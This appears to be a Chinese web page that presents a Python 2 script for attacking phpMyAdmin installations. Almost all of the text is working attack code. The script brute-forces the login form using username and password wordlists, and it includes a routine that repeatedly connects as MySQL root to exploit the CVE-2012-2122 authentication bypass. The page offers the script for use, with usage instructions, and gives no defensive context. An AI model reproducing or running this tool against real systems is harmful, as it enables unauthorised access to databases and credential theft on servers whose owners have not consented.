Python写的PHPMyAdmin暴力破解工具代码

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env pythonimport urllib import urllib2 import cookielib import sysimport subprocessdef Crack(url,username,password):	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}	params = urllib.urlencode({'pma_username': username, 'pma_password': password})	request = urllib2.Request(url+"/index.php", params,headers)	response = opener.open(request) 	a=response.read() 	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:		return username,password	return 0def MySQLAuthenticationBypassCheck(host,port):	i=0	while i<300:		i=i+1		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()if __name__ == '__main__':	if len(sys.argv)<4:		print "#author:iswin/n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"		sys.exit()	print "Bruting,Pleas wait..."	for name in open(sys.argv[2],"r"):		for passw in open(sys.argv[3],"r"):			state=Crack(sys.argv[1],name,passw)			if state!=0:				print "/nBrute successful"				print "UserName: "+state[0]+"PassWord: "+state[1]				sys.exit()	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"	choice=raw_input('Warning:This function needs mysql environment./nY:Try to MySQLAuthenticationBypassCheck/nOthers:Exit/n')	if choice=='Y' or choice=='y':		host=raw_input('Host:')		port=raw_input('Port:')		MySQLAuthenticationBypassCheck(host,port)